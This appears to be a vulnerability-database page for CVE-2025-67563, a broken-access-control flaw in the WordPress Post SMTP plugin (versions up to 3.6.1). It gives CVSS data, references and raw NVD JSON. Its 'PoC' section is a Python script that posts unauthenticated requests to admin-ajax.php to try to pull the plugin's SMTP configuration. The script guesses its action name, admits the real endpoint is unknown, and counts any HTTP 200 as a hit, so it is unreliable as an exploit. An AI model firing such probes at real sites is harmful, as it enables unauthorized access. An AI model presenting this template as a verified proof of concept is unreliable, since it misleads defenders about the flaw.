CVE-2025-67563

Description

Missing Authorization vulnerability in Saad Iqbal Post SMTP post-smtp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post SMTP: from n/a through <= 3.6.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Post SMTP <= 3.6.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-67563 PoC - Post SMTP Broken Access Control
# Target: WordPress site with Post SMTP plugin <= 3.6.1

target_url = "http://target-wordpress-site.com"

# Identify unprotected AJAX endpoint
# Replace 'action_name' with actual vulnerable action discovered
vulnerable_endpoints = [
    f"{target_url}/wp-admin/admin-ajax.php",
    f"{target_url}/wp-json/post-smtp/v1/*"
]

# Check for missing capability checks
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

# Example: Unauthorized access to SMTP configuration export
data = {
    "action": "post_smtp_export_config",
    "security": ""  # No valid nonce required
}

response = requests.post(vulnerable_endpoints[0], data=data, headers=headers)

if response.status_code == 200:
    print("[+] Vulnerable endpoint detected!")
    print("[+] Response:", response.text)
else:
    print("[-] Endpoint not vulnerable or patched")

# Note: Actual PoC requires manual enumeration of plugin endpoints
# Use Burp Suite or similar to discover unprotected functions

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67563
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67563
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67563/
[4] VulDB https://vuldb.com/cve/CVE-2025-67563
[5] https://patchstack.com/database/Wordpress/Plugin/post-smtp/vulnerability/wordpress-post-smtp-plugin-3-6-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67563", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:32.823", "lastModified": "2026-04-27T18:16:43.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Saad Iqbal Post SMTP post-smtp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post SMTP: from n/a through <= 3.6.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/post-smtp/vulnerability/wordpress-post-smtp-plugin-3-6-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}